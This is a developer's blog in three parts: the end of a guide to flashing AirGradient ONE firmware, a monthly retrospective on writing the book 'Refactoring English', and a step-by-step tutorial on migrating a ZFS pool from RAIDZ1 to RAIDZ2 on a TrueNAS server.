Finally, it’s time to flash the software to my device:

cd ~/airgradient-one && \
 arduino-cli compile \
 --verbose \
 --fqbn esp32:esp32:esp32c3:CDCOnBoot=cdc,PartitionScheme=min_spiffs,DebugLevel=info \
 --library . \
 --port "${AIRGRADIENT_PATH}" \
 --verify \
 --upload \
 examples/OneOpenAir/OneOpenAir.ino

Note: To erase persistent data on the AirGradient ONE device (i.e., a hard reset, including configuration data), add ,EraseFlash=all to the end of the --fqbn flag.

If flashing was successful, I see my device reboot and this output at the end of the process:

Wrote 1753792 bytes (967231 compressed) at 0x00010000 in 14.7 seconds (effective 952.3 kbit/s)...
Hash of data verified.

Leaving...
Hard resetting via RTS pin...

Optional: View serial log output

While my AirGradient is connected to my computer, I can view its log output through the serial port by using the arduino-cli monitor command:

$ arduino-cli monitor --port "${AIRGRADIENT_PATH}"
Using default monitor configuration for board: esp32:esp32:heltec_wifi_kit_32_V3
Monitor port settings:
 baudrate=9600
 bits=8
 dtr=on
 parity=none
 rts=on
 stop_bits=1

Connecting to /dev/ttyACM0. Press CTRL-C to exit.
[1] Standard Particle PM 2.5 = 7.00 ug/m3
[1] Particle Count 0.3 = 1298.5
[1] Particle Count 0.5 = 383.5
[1] Particle Count 1.0 = 39.7
[1] Particle Count 2.5 = 2.0
[1] Particle Count 5.0 = 2.0
[1] Particle Count 10 = 0.0

Alternative: Nix flake

If you’re a Nix nerd, you might want to do this the Nix way. I’ve created a Nix flake to automate all the above steps:

My AirGradient ONE dev Nix flake

When I want to flash my repo, I just run:

nix run .#flash

And when I want to view serial output, I run:

nix run .#monitor

I’m not sure how well my Nix flake works across systems, so you’ll probably have to tinker a little bit to get it to work for your system.

Conclusion

I hope these instructions make it easier for you to flash your AirGradient ONE device and customize your firmware as you see fit.

Refactoring English: Month 8

Wed, 13 Aug 2025 00:00:00 +0000

New here?

Hi, I’m Michael. I’m a software developer and founder of small, indie tech businesses. I’m currently working on a book called Refactoring English: Effective Writing for Software Developers.

Every month, I publish a retrospective like this one to share how things are going with my book and my professional life overall.

Highlights

I find that not every reader who purchases early access to my book wants to give me feedback about rough drafts.
I figure out where all my time is going and think of ways to minimize time drains.
I spend 10 hours reimplementing a web app from scratch that originally took me 300 hours to build.
I continue to learn functional programming with Gleam, but I might be cheating.

Goal grades

At the start of each month, I declare what I’d like to accomplish. Here’s how I did against those goals:

Talk to at least 10 readers I haven’t spoken to before

Result: Emailed seven readers, got three replies, had one live conversation
Grade: C

Until I sat down to count, I thought I had a much worse response rate, but a lot of readers are responding. The issue is that I’m just not reaching out enough.

I’m probably spending too long on each email trying to say something unique and conspicuously not AI-generated, but I go down a rabbit hole of reading the person’s blog for an hour.

Clear the backlog of my marketing ideas

Result: Completed about 70% of what I intended to do
Grade: C

I got through most of these tasks, though I still haven’t gotten around to publishing an interview I recorded a year ago, so I’d like to get that done.

Publish a new chapter of Refactoring English

Result: Published “Underused Techniques for Effective Emails”
Grade: A

I’m happy with how this chapter turned out, but I knew sharing it on social media would be a gamble. It got a positive reception on Lobsters but no traction on Hacker News.

Refactoring English metrics

Metric	June 2025	July 2025	Change
Unique visitors	6,574	8,061	+1,487 (+23%)
Revenue from pre-orders	$597.24	$800.04	+$202.80 (+34%)
Revenue from consulting	$242.45	$0.00	-$242.45 (-100%)
Revenue from sponsors	$48.25	$48.25	$0.00 (0%)
Total Revenue	$887.94	$848.29	-$39.65 (-4%)

Visits to the website are up, which is good because I didn’t have any popular new posts. I see it as a positive sign that visits stay healthy just from people reading the existing sample excerpts.

Total revenue is down slightly, but it’s just because I went from one paid consulting job to zero, so not much change there. I’m more excited to see that pre-orders are up by 34% compared to June.

What if everyone just likes the feeling of buying a book?

As I reach out to readers and meet them on video calls, there’s one piece of feedback I’m hearing over and over: “I haven’t started reading it yet.”

I hear this from people who purchased a few days ago and from people who had access to the book for months.

My biggest fear is that the book is a “vitamin rather than a painkiller.” People see good writing as something that’s important but not urgent. They might read a book called, “How to Nail Your Next Coding Interview,” ahead of an upcoming interview, but it’s easy to defer indefinitely on improving writing.

Part of my motivation in pre-selling the book before writing it was to see if there were enough people willing to pay for the book. There were, and people continue to buy it, but I’m worried that might not be as predictive a signal as I thought.

What if my book is the kind of thing people buy because it’s a way to feel like they’re investing in their writing without actually putting in time to do anything? What if it’s like Planet Fitness, the popular gym franchise that supposedly makes its money from people who sign up and then never use the gym?

What if I’m writing the Planet Fitness of books?
Photo by Mike Mozart, used under CC-BY-2.0 license

Even if I can be the Planet Fitness of books, that’s not sustainable. For my book to be financially viable, I’m banking on word of mouth recommendations from people who read the book and like it. I hope popular bloggers cite my book as a resource that helped them. When a developer says they want to improve their writing, I want my book to be the obvious thing people recommend.

Maybe customers don’t want to be in my focus group

Another reason I pre-sold the book was that I predicted that readers who pre-ordered would be especially enthusiastic about giving feedback during the writing process.

From talking to friends who are also customers, most of them say that they pre-purchased to support the project and want to read the book when it’s done, but they don’t necessarily want to participate in a focus group or give feedback on a rough draft. They just want to read the finished version, and that’s totally fair.

I should just keep reaching out to people one by one

What I’ve found from reaching out to customers one by one and arranging live calls is that some readers are extremely enthusiastic and want to give feedback. I’ve only found a handful, but they’ve given me excellent feedback.

The most effective way I’ve found enthusiastic readers is to email them one by one, so I’ll keep doing that.

Where does my time go?

Every year or so, I look back at what I accomplished in the previous month and think, “Wait, why is that all I did last month? What was I doing instead?”

July was that kind of month. I worked my regular, full-time hours, but I’m looking back at the month thinking, “How did I only finish one new chapter?”

So, let me look back and think about where my time is going when I’m not working on my monthly goals.

Overinvesting in chapters

A few months ago, I realized I was spending too much time wordsmithing my writing rather than just getting chapters to readers when they were 80-90% perfect. My solution was to set time limits on each chapter and write whatever I could complete within my time budget.

For the emails chapter I wrote in July, my budget was five hours, but I actually spent 17.5 hours on it. Part of that was intentional because I realized after I set the target that it would work well as a standalone excerpt on the website. It takes longer to write an excerpt and then fold it back into the book.

But I’m also doing the same thing on the chapter I’m currently working on. I’m 6.5 hours into my 6-hour budget, and I probably have at least 3 hours of writing left before I’m comfortable sharing it with readers. I think this is both a problem of me polishing too much but also setting too low a budget for the first and most important chapter of the book.

Solution: Budget extra time for chapters that will have public excerpts, and constrain writing time to the defined limits.

Extracurricular blog posts

I like capturing what I learn soon after I learn it by writing blog posts, but I could spend 20 hours per week blogging and still not write all the blog posts I want to write.

Some of my blog posts attract people who might read my book, whereas others likely won’t. I have to be deliberate about how much time to invest in the “just for fun” blog posts.

Last month, I published a new blog post, “Migrating a ZFS pool from RAIDZ1 to RAIDZ2.” I knew it wouldn’t help with the book, but I also thought it would be just a few hours of writing, and I’d be explaining something that I hadn’t seen anyone else explain well.

In reality, the ZFS post took seven hours to write, so it was more investment than was sensible for a “just for fun” post, especially in a month where I didn’t have a more crowd-pleasing Refactoring English chapter to share.

Solution: Be more selective about non-book blog posts, and prioritize posts that attract readers who would also read my book.

I find myself checking social media whenever I feel bored or low on motivation to think hard about a difficult piece of writing or software. I tell myself I’ll just check quickly and get back to work, but then I get sucked into an article. If I write a comment, then I keep obsessively checking for responses.

I usually set aside a day to respond to comments if my article makes a big splash on Hacker News or reddit. My ZFS post didn’t make a big splash, but I still spent the day responding to comments.

At one point, I was using a browser extension called LeechBlockNG to curb bad social media habits, but it seemed to leak memory and slow down my whole browser, so I disabled it. I’m trying it again and haven’t noticed memory leaks, so maybe it can work this time.

Solution: Give productivity browser extensions another try to add more friction to unwanted timewaster sites.

Recovering from sleep disruptions

My toddler is sleeping poorly, which means my wife and I are sleeping poorly.

The sleep disruptions themselves are probably the smaller part of the problem. The more significant bit is that I use sleep disruptions to justify lazy behavior, like skipping writing sessions or checking social media. I’ll think, “I shouldn’t have to work hard today. I had such a bad night of sleep last night!” In reality, I could work 80-90% as effectively as usual, but I use poor sleep to justify slacking off.

Solution: Stop using sleep disruptions as an excuse to slack off.

Procrastinating paid editing work

I’ve been doing editing work as part of the services I offer for Refactoring English.

I like editing other people’s blog posts, but I find it mentally taxing. It’s hard to edit my own writing, so it’s even harder for me to edit for other people. With my writing, I can edit by feel without having to explain why I’m making the edit. When I give editing notes to other bloggers, I have to articulate what weaknesses I see in their draft and why I think my suggestion is better.

I’ve found myself procrastinating my editing work, so even if I have time to complete it in a day, I’ll let it drag on for multiple days. And when I’m procrastinating editing work, I’m also procrastinating my own writing because I want to prioritize my clients’ work ahead of my own.

Solution: Recognize that procrastinating on editing eats up a lot of time, and tackle it sooner.

Side projects

Replacing a 300-hour Vue app with a static site generator in 10 hours

In 2019, I tried to build a business called What Got Done. It was an app that allowed teammates to share weekly summaries of their work with one another.

What Got Done was a website where people could share weekly updates about their work.

When I was at Google, they had an internal tool called Snippets that did the same thing as What Got Done. I loved it and kept writing weekly updates after leaving Google, even when I was working by myself.

I never could find customers for What Got Done, so I open-sourced it and maintained it as a hobby project for the last six years.

I initially built What Got Done with Vue, Firestore, and AppEngine, and I’ve come to strongly dislike all of those technologies. I spent a long time replacing Firestore with SQLite and AppEngine with fly.io, but Vue stuck around, and it made development unpleasant.

Every week, I’d post updates to What Got Done and think about how I prefer my blog authoring workflow with VS Code and Hugo. So, one weekend, I just reimplemented What Got Done as a simple static site with Hugo, which I now host at weeks.mtlynch.io.

I reimplemented What Got Done as a static site I can generate with Hugo.

So, in six years, I probably spent about 300 hours implementing and maintaining What Got Done as a Go + Vue + SQLite + fly.io app. It only took 10 hours to reimplement it as a static site with simple Markdown files and Hugo.

Because the new version is a just-for-me app, I can add personalized features like pre-populating my weekly updates from my git commits. And of course, it’s orders of magnitude simpler and cheaper to host, maintain, and back up because it’s just a static site with source control instead of a full-blown web app with separate tech stacks for the frontend, backend, and database.

Sunsetting What Got Done

I don’t want to maintain What Got Done forever, especially now that I’m not even using it.

Even though What Got Done only has a handful of active users, I hate abandoning people who started using something I offered, so I tried to make the offboarding experience on What Got Done nice:

I announced on the website that What Got Done would stop running at the end of the year.
I added a feature to let users export their posts in Markdown format.
- I needed to do this anyway to port my data to Hugo, so I figured it would be nice to build this feature into the web app itself so that any user could do it.
I added a feature that lets users set up a forwarding address for post-What Got Done shutdown.
- For example, I’ve configured my profile page whatgotdone.com/michael to permanently redirect to weeks.mtlynch.io.

Progress on my AIM log parser in Gleam

I’m still learning the Gleam programming language by tinkering with a parser for my old AIM logs from high school and college. The most basic logs look like this:

Session Start (AIM - DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005
[18:44] Jane: hi
[18:55] Me: hey whats up
Session Close (Jane): Mon Sep 12 18:56:02 2005

Parsing timestamps

In June, I had my parser working at a basic level in that it could take the log above and extract the sender and messages like this:

[
 Message(sender: "Jane", body: "hi"),
 Message(sender: "Me", body: "hey whats up"),
]

I made progress in July, so the parser can now understand the timestamps, which are a little tricky because it has to combine the date from the session metadata with the simple HH:MM information from the message. So, my log parser can convert the above log to this:

[
 Message(
 timestamp: must_parse_rfc3339("2005-09-12T18:44:00-04:00"),
 sender: "Jane",
 body: "hi",
 ),
 Message(
 timestamp: must_parse_rfc3339("2005-09-12T18:55:00-04:00"),
 sender: "Me",
 body: "hey whats up",
 ),
]

Collapsing lexing and parsing to a single step

I also simplified the parser to do a single pass instead of separate lexing and parsing.

I initially thought it was more proper and elegant to split the logs into a list of tokens then parse those tokens. So, instead of the parser seeing a line like Session Start (AIM - DumbAIMScreenName:Jane): Mon Sep 12 18:44:17 2005 and parsing it, I wanted the lexer to first change it to a series of tokens like this:

[
 SessionStart,
 Word("(DumbAIMScreenName:Jane)"),
 ColonSpace,
 Word("Mon"),
 Word("Sep"),
 ...
]

But that meant I needed a secret first pass to split the string into substrings that the tokenizer could recognize like ["Session", " ", "Start"], and I had to implement my own string split logic because Gleam’s built in libraries have no way of splitting a string by substring and then keeping the substring, too. For example, if I split by newlines then by spaces, then I’d have a list of strings, but I would lose track of whether the separators were spaces or newlines.

It felt like I was actually parsing the input three times: once for my custom string splitting, once for the lexing, and once for the actual parser. I initially assumed it was because I didn’t know enough about functional languages or text parsers, and I’d find a more elegant way to lex and parse.

I used my confusion to justify finally purchasing a print copy of Crafting Interpreters, the most beautifully-designed software book I’ve ever seen.

My Gleam project finally gave me an excuse to buy a print copy of Crafting Interpreters.

After reading the lexing chapter of the book, I concluded that my AIM logs weren’t structured enough for lexing. I tried collapsing everything down to a parser that reads the input character by character, and that felt simpler.

The bummer of parsing character by character is that Gleam’s pattern matching looks much uglier. In the old implementation, I could look for string patterns like this:

 case contents {
 ["Session", "Start", ..rest] -> tokenize_list(rest, [SessionStart, ..acc])
 ["Session", "Close", ..rest] -> tokenize_list(rest, [SessionClose, ..acc])

And now it’s a longer, messier pattern match:

 case state.remaining_graphemes {
 [
 "S",
 "e",
 "s",
 "s",
 "i",
 "o",
 "n",
 " ",
 "S",
 "t",
 "a",
 "r",
 "t",
 ...

Am I forcing classes into Gleam?

As I progressed with my parser, I found that I was writing functions that had the same signature over and over:

fn parse_tokens_with_messages(
 tokens: List(Token),
 messages: List(Message),
) -> List(Message) {

A bunch of my functions took the same parameters and had the same return value, and as I added more code, the list of parameters and return values grew larger.

So, I created a ParseState type and passed that around instead:

type ParseState {
 ParseState(
 last_timestamp: timestamp.Timestamp,
 messages: List(Message),
 remaining_graphemes: List(String),
 )
}

fn parse_graphemes(state: ParseState) -> ParseState {

But that felt like sneaking object-oriented classes into Gleam. Because if this was Go, the code would look like this:

type Parser struct {
 LastTimestamp time.Time
 Messages []Message
 RemainingGraphemes []rune
}

func (p Parser) Parse() {

Functional programming nerds: am I cheating? Or is this the right way to pass around state in functional languages?

Wrap up

What got done?

Published “Underused Techniques for Effective Emails” and sent an expanded version to early access readers.
Migrated the last of the web-only content of Refactoring English into the ebook.
Published the blog post “Migrating a ZFS pool from RAIDZ1 to RAIDZ2.”
Created a better password reset flow for ScreenJournal.
Added file expiration options for guests on PicoShare.
Did unpaid editing on an upcoming blog post in exchange for publishing the feedback as marketing for my editing services.
Created a sunsetting plan for What Got Done and migrated my data to weeks.mtlynch.io.

Lessons learned

It’s fine if not every early reader of Refactoring English wants to give feedback. I can keep reaching out to readers to find the few that want to be more actively involved.
It’s always useful to evaluate the ways I’m wasting time and think of ways to mitigate them.

Goals for next month

Write personalized emails to 20 readers I haven’t spoken to before.
Publish a new chapter of Refactoring English.
Complete my remaining marketing tasks.

Requests for help

If you’re a developer who’s interested in improving your writing, or you know someone who is, reach out.

Migrating a ZFS pool from RAIDZ1 to RAIDZ2

Wed, 23 Jul 2025 00:00:00 +0000

I recently upgraded my home TrueNAS server and migrated 18 TB of data from a 4-disk RAIDZ1 ZFS pool to a new RAIDZ2 pool.

The neat part is that I did it with only three additional 8 TB disks and never transferred my data to external storage.

Upgrading from RAIDZ1 to RAIDZ2 without moving data to external storage is tricky because:

You can’t convert a RAIDZ1 pool to a RAIDZ2 pool in place.
You can’t shrink a ZFS pool to a smaller number of disks.
You can’t fit 18 TB of data on a 3-disk, 8TB RAIDZ2 pool (the three new disks).

How I did it

Step 0: Initial state

Starting out, I have a 4x8TB RAIDZ1 ZFS pool, and I’m using 18 TB of its 23 TB capacity. I purchased three refurbished 8 TB disks for this migration.

Step 1: Borrow one disk to create a RAIDZ2 pool

To begin, I remove one disk from my original RAIDZ1 pool, leaving it in a degraded state.

I then create a new 5x8TB RAIDZ2 pool using:

My three new disks
One disk from my RAIDZ1 pool
One 8 TB sparse file to act as a fake disk

The sparse file is in my /tmp directory, even though the filesystem there can’t actually store 8 TB of data. That’s okay because the sparse file is only temporary. It’s a hack that allows me to create a 5-disk pool, but I won’t write any data to it.

Step 2: Offline the fake disk

Next, I offline the fake disk (the 8 TB sparse file) from the RAIDZ2 pool.

After offlining the fake disk, the pool is still healthy, as RAIDZ2 can operate with two disks missing.

Step 3: Migrate a snapshot of the RAIDZ1 pool to the RAIDZ2 pool

I snapshot all datasets in my RAIDZ1 pool and migrate the snapshot to my new RAIDZ2 pool using zfs send.

Step 4: Destroy the old pool

Once I verify that I’ve successfully migrated my data to the RAIDZ2 pool, I destroy my old RAIDZ1 pool, leaving me with three extra disks.

Step 5: Replace the fake disk with an old disk

I use one disk from my old RAIDZ1 pool to replace the fake disk in my RAIDZ2 pool, so it is no longer missing a disk.

Step 6: Expand the new pool with the old disks

Finally, I use ZFS expansion to add the last two disks from my old RAIDZ1 pool to my new RAIDZ2 pool, giving me a total of 33 TB of usable storage on a healthy 7x8TB RAIDZ2 pool.

Update: A safer strategy

Update (2025-07-25): Thanks to readers for suggesting an alternative strategy that better mitigates the risks of disk failure.

Readers have suggested a variation on this strategy that I prefer to my original:

Create a 5x8TB RAIDZ2 pool using the three new disks and two fake disks (sparse files).
Offline the fake disks from the RAIDZ2 pool.
Migrate data from the old RAIDZ1 pool to the new RAIDZ2 pool.
Offline a disk from the RAIDZ1 pool and use it to replace a fake disk on the RAIDZ2 pool.
Destroy the RAIDZ1 pool.
Migrate the remaining three disks from the destroyed RAIDZ1 pool to the RAIDZ2 pool.

I like this strategy because it’s robust to any single disk failure during the migration process. In my original process, the migration could withstand a disk failure in any of the RAIDZ2 pool disks, but the RAIDZ1 pool would fail if any of its disks died during the migration.

The only downside of the new strategy is that I haven’t tested it, as I did with my original strategy.

Why switch from RAIDZ1 to RAIDZ2?

I built my home TrueNAS server in 2022 with a 4x8TB RAIDZ1 pool. I was comfortable with RAIDZ1 because it could tolerate one disk failure, and I considered it unlikely for two out of my four disks to fail simultaneously.

What I failed to consider was when I add disks to the pool, each new disk increases my odds of data loss. I’m not worried about two disks failing out of four, but if I have six or eight disks, then concurrent failures begin to feel more likely.

Every disk I add to my RAIDZ1 pool makes a migration to RAIDZ2 harder because it means my new pool has to be even bigger, and I have even fewer physical disk slots available to a new pool.

RAIDZ2 can tolerate two disk failures without data loss. Even if I expanded to 10 disks (the max capacity of my current server chassis), three simultaneous disk failures feels unlikely enough that I’m not worried.

Why is switching from RAIDZ1 to RAIDZ2 hard?

ZFS doesn’t support switching from RAIDZ1 to RAIDZ2. You set the RAIDZ mode at pool creation time and can never change it.

The naïve solution would be to buy five extra disks, build a RAIDZ2 pool, then move all of my data over to the new pool. That would leave me with 4 original disks + 5 new disks = 9 total disks when I only wanted 6-7.

If you search online for how to convert a RAIDZ1 pool to RAIDZ2, everyone says to do it the naïve way or to move all your data to a spare ZFS server, destroy your RAIDZ1 pool, create a RAIDZ2 pool in its place, then migrate your data back. But what you’re like me and don’t have a spare 18 TB ZFS server lying around in one of your yachts?

The reason there isn’t much guidance on a more efficient way to switch from RAIDZ1 to RAIDZ2 is that my solution depends on RAIDZ expansion, which only became available in ZFS six months ago.

Migrating from RAIDZ1 to RAIDZ2: in practice

In theory, my RAIDZ1 to RAIDZ2 migration plan was straightforward, but I ran into a few hiccups actually performing this migration.

I’m sharing a detailed journal of the exact commands and output for anyone who wants to repeat this process.

Step 1: A practice migration with USB sticks

My migration plan involves some risky maneuvers. Before I tried it on my main TrueNAS server with all of my data, I first tried it on a test server.

I installed TrueNAS Core 25.04 on an old mini PC and then connected 7 USB thumbdrives.

Testing my migration strategy on a spare TrueNAS server and seven USB thumbdrives

It wasn’t a perfect experiment because the drives were different sizes, but the process worked. It gave me confidence to try my migration plan on my production server.

Step 2: Backing up my data

I said above that I never moved my data to external storage, but that’s not strictly true. I did use external storage for backup, though I didn’t end up needing it.

I already run nightly backups with restic, but they’re at the filesystem level rather than at the ZFS level. In other words, if I corrupted my ZFS pool during the migration, I’d have to recreate each of my ZFS datasets and restore my files from backup rather than restoring everything from a ZFS-aware backup.

Even though I run nightly backups, there’s one type of data I don’t back up: media. I’m a data hoarder, so I keep the raw images of all of my DVDs and Blu-rays. Because what if I one day get the urge to watch the director’s commentary on my DVD copy of 1998’s There’s Something About Mary?

Most of the space on my disk server is DVDs and Blu-rays that I’ve ripped.

Between the raw discs and encoded video files, I have about 15 TB of movies and TV shows on my TrueNAS server. I don’t back those files up to cloud storage because it would cost me ~$90/mo even on low-cost cloud storage providers like Wasabi or Backblaze B2.

I tell myself that if I ever lost my media data, I could re-rip everything from the original discs. But at the start of this process, I was considering the prospect of re-ripping and re-encoding 500+ disks one by one, and I decided to make an exception and back up my media files on a short-term basis in case anything went wrong with the migration.

Where can I back up 15 TB for three days?

I only needed to back up 15 TB. If I could find a vendor that did per-day or per-hour billing, that should be pretty affordable.

I’m aware of two cloud vendors that offer ZFS-native backup:

rsync.net: Minimum billing is one month ($150 for 15 TB).
zfs.rent: Requires me to send them my own hard disks.

So, neither of those options were good for backing up data for only a couple of days.

There are tools for backing up ZFS to S3-compatible storage, but I didn’t want to try those, as it felt too complex. I couldn’t verify that the backups worked without a spare server with 15 TB of capacity.

I decided to use my standard restic backup scripts to back up my media files to a cloud storage vendor that billed at the granularity of per-day or shorter. These were the options I found:

Amazon S3 (Standard): $0.76/TB/day
Google Cloud Storage (Standard): $0.66/TB/day
Cloudflare R2: $0.50/TB/day
Backblaze B2: $0.20/TB/day
Hetzner storage boxes: $0.09/TB/day
- I unfortunately didn’t discover this option until after doing the migration.

I chose Backblaze B2, and somehow my 15 TB of data turned into 24.6 TB on Backblaze’s end.

It took me almost a week to upload everything to Backblaze, so I had to store the data longer than I expected, but my bill at the end of the month was only a few dollars more than normal, so I’m not sure how they calculated my costs.

Warning: Check your cloud storage vendor’s minimum retention policy

I initially backed up to Wasabi on a migration attempt that didn’t work. Okay, that’s fine. I just owe Wasabi $30 or so for a few days of backup. It turned out that Wasabi does support per-day billing, but you have to pay for a minimum of 90 days for any data you back up. So now, instead of a $30 Wassabi bill, I was looking at a $300 bill.

I emailed Wasabi support to beg for mercy, and they had strange advice for me: delete your account.

Apparently, you can escape Wasabi’s minimum storage requirement by deleting your entire Wasabi account. This isn’t a hack or trick or anything; it’s the official guidance from Wasabi support.

But then without me even pushing back, another Wasabi rep joined the ticket and told me that I didn’t have to delte my account. As a one-time courtesy, they’d credit me the cost of my overages (thanks, Wasabi!).

Step 3: Update TrueNAS

This migration requires ZFS’s RAIDZ expansion feature, which is in OpenZFS 2.3.0 and TrueNAS’ 24.10 (Electric Eel) release.

I verify my ZFS version from the TrueNAS shell:

root@truenas:~# zfs --version
zfs-2.3.0-1
zfs-kmod-2.3.0-1

Gotcha: Check your release train when updating.

I accidentally skipped the update step because TrueNAS told me that I was on the latest version. It turned out that I was on the latest version for my release train, which was still set to 24.x by default. So, you may have to update TrueNAS to pick a later major version if you don’t see ZFS 2.3.0 or higher.

Step 3: Identifying the disks

To begin this migration, I need to identify all of my disks so I can refer to them in ZFS command-line utilities.

The simplest way to show my disks is with the fdisk utility:

fdisk --list

I find it easier to visit the Storage > Disks dashboard in TrueNAS:

Based on the screenshot above, I see that my disks have IDs as follows:

Disks in existing pool: sda, sdc, sde, sdf
New disks: sdb, sdg, sdh

Step 4: Find the weakest disk

The riskiest part of the migration is the time from when I borrow a disk from my old RAIDZ1 pool until I migrate the data to my new RAIDZ2 pool. Removing a disk from my RAIDZ1 pool puts it into a degraded state. If any of the other disks in my old pool die during the data migration, I lose data.

Because of this risky window, I wanted the weakest disk from my old pool to be the one I borrow to build the new pool. The RAIDZ2 pool can tolerate the weak disk failing, but the RAIDZ1 pool can’t.

To find the weakest disk, I ran this quick bash snippet to query SMART diagnostic data for my disks:

for drive in /dev/sd?; do
 [ -e "$drive" ] && echo -e "\n=== $drive ===" && smartctl -A $drive | \
 grep -E '(Power_On_Hours|Wear_Leveling|Media_Wearout|Reallocated_Sector)'
done

=== /dev/sda ===
 5 Reallocated_Sector_Ct 0x0033 100 100 050 Pre-fail Always - 0
 9 Power_On_Hours 0x0032 032 032 000 Old_age Always - 27228

=== /dev/sdb ===
 5 Reallocated_Sector_Ct 0x0033 100 100 005 Pre-fail Always - 0
 9 Power_On_Hours 0x0012 100 100 000 Old_age Always - 423

=== /dev/sdc ===
 5 Reallocated_Sector_Ct 0x0033 100 100 010 Pre-fail Always - 0
 9 Power_On_Hours 0x0032 077 077 000 Old_age Always - 20998

=== /dev/sdd ===
 9 Power_On_Hours 0x0032 100 100 000 Old_age Always - 29606

=== /dev/sde ===
 5 Reallocated_Sector_Ct 0x0033 100 100 010 Pre-fail Always - 0
 9 Power_On_Hours 0x0032 067 067 000 Old_age Always - 29599

=== /dev/sdf ===
 5 Reallocated_Sector_Ct 0x0033 100 100 010 Pre-fail Always - 0
 9 Power_On_Hours 0x0032 067 067 000 Old_age Always - 29603

=== /dev/sdg ===
 5 Reallocated_Sector_Ct 0x0033 100 100 005 Pre-fail Always - 0
 9 Power_On_Hours 0x0012 100 100 000 Old_age Always - 141

=== /dev/sdh ===
 5 Reallocated_Sector_Ct 0x0033 100 100 005 Pre-fail Always - 0
 9 Power_On_Hours 0x0012 100 100 000 Old_age Always - 147

Based on that, they all seem pretty healthy. The only metric where they differ is Power-on hours:

Existing disks
- sda: 032
- sdc: 077
- sde: 067
- sdf: 067
New disks
- sdb: 100
- sdg: 100
- sdh: 100

The new disks are all at 100%, which makes sense, as they’re freshly refurbished. sda is the lowest at 32%, so I’ll designate it as the weakest and move it to the new pool first.

Step 5: Create stable disk identifiers

The /dev/sdX paths are not stable across reboots. A disk that’s at /dev/sda can show up as /dev/sdf on my next reboot. It’s unclear to me if ZFS resolves disks to more stable identifiers, but I didn’t want to take any chances.

I wrote this bash function to convert the /dev/sdX path to a stable identifier for the disk:

get_disk_id() {
 local dev=$1
 local target="/dev/$dev"

 for path in /dev/disk/by-id/*; do
 if [ -L "$path" ] && [ "$(readlink -f "$path")" = "$target" ] &&
 [[ "${path: -2:1}" != ":" ]]; then
 echo "$path"
 return 0
 fi
 done
 echo "Disk ID not found for device: $dev" >&2
 return 1
}

To use my get_disk_id bash function, I give it the sdX identifier, and it returns the stable path to that disk:

$ get_disk_id sda
/dev/disk/by-id/ata-HGST_HUS728T8TALE6L1_VGGGYUEG

To make my process reusable, I save my disk IDs to environment variables:

# Old disks
DISK_1="$(get_disk_id sda)"
DISK_2="$(get_disk_id sdc)"
DISK_3="$(get_disk_id sde)"
DISK_4="$(get_disk_id sdf)"

And I create environment variables for my new disks:

# New disks
DISK_5="$(get_disk_id sdb)"
DISK_6="$(get_disk_id sdg)"
DISK_7="$(get_disk_id sdh)"

I also create an environment variable to refer to my existing RAIDZ1 pool:

OLDPOOL='pool1'

Step 6: Offline the weak disk

Before I touch anything, I verify that my old pool is healthy and has the disks I expect:

$ sudo zpool status ${OLDPOOL}
 pool: pool1
 state: ONLINE
 scan: scrub repaired 68K in 10:40:08 with 0 errors on Wed May 14 06:25:26 2025
config:

 NAME STATE READ WRITE CKSUM
 pool1 ONLINE 0 0 0
 raidz1-0 ONLINE 0 0 0
 sde2 ONLINE 0 0 0
 sdf2 ONLINE 0 0 0
 sdc2 ONLINE 0 0 0
 sda2 ONLINE 0 0 0

errors: No known data errors

sda2 (DISK_1) is the weak disk that I want to move to the new RAIDZ2 pool, so I run the following:

DISK_TO_OFFLINE='sda2'

sudo zpool offline "${OLDPOOL}" "${DISK_TO_OFFLINE}"

Checking zpool status, I see that offlining the disk has put the pool into a degraded state, as I expected:

$ sudo zpool status ${OLDPOOL}
 pool: pool1
 state: DEGRADED
status: One or more devices has been taken offline by the administrator.
 Sufficient replicas exist for the pool to continue functioning in a
 degraded state.
action: Online the device using 'zpool online' or replace the device with
 'zpool replace'.
 scan: scrub repaired 68K in 10:40:08 with 0 errors on Wed May 14 06:25:26 2025
config:

 NAME STATE READ WRITE CKSUM
 pool1 DEGRADED 0 0 0
 raidz1-0 DEGRADED 0 0 0
 sde2 ONLINE 0 0 0
 sdf2 ONLINE 0 0 0
 sdc2 ONLINE 0 0 0
 sda2 OFFLINE 0 0 0

errors: No known data errors

Step 7: Wipe the weak disk

There’s a bit of a hitch with creating my RAIDZ2 pool. If I try to create a new pool with the weak disk (DISK_1) , ZFS will tell me that it already belongs to another pool. Even though I’ve offlined the disk, ZFS still insists that my RAIDZ1 pool owns the disk.

To stop my RAIDZ1 pool from claiming ownership over the weak disk, I need to fully wipe it.

I define an environment variable to track the disk I’m moving:

MOVED_DISK="${DISK_1}"

And then I wipe all data from the disk:

Caution: Run the wipefs command carefully, as it wipes the entire disk with zero confirmation.

# Be careful! This command completely wipes the disk with no confirmation.
wipefs --all "${MOVED_DISK}"

Step 8: Create a fake disk with a sparse file

I could create a 4x8TB RAIDZ2 pool, but that would only give me 16 TB of usable capacity, not enough to store my 18 TB of data.

Instead, I create a 5x8TB RAIDZ2 pool, except the fifth disk doesn’t really exist. ZFS allows me to create a ZFS pool using a sparse file as a disk.

To create a fake disk as a sparse file, I need to know the exact size of the other disks in my pool, which I can find with fdisk:

$ fdisk --list | grep "^Disk.*bytes"
Disk /dev/sdf: 7.28 TiB, 8001563222016 bytes, 15628053168 sectors
Disk /dev/sdd: 111.79 GiB, 120034123776 bytes, 234441648 sectors
Disk /dev/sda: 7.28 TiB, 8001563222016 bytes, 15628053168 sectors
Disk /dev/sdc: 7.28 TiB, 8001563222016 bytes, 15628053168 sectors
Disk /dev/sde: 7.28 TiB, 8001563222016 bytes, 15628053168 sectors
Disk /dev/sdb: 7.28 TiB, 8001563222016 bytes, 15628053168 sectors
Disk /dev/mapper/sdd3: 16 GiB, 17179869184 bytes, 33554432 sectors
Disk /dev/zd0: 10 GiB, 10737418240 bytes, 20971520 sectors
Disk /dev/sdg: 7.28 TiB, 8001563222016 bytes, 15628053168 sectors
Disk /dev/sdh: 7.28 TiB, 8001563222016 bytes, 15628053168 sectors

Based on that, I see that each of my real disks has 8001563222016 bytes, so I create a fake drive with the truncate command:

FAKE_DISK='/tmp/fake-drive.img'
truncate --size 8001563222016 "${FAKE_DISK}"

Finally, I need a name for my new pool. I used the name pool1 before I knew the ZFS cultural convention to name your pool tank. I thought this would be my opportunity to fit in with the cool kids by naming my new pool tank:

NEWPOOL='tank'

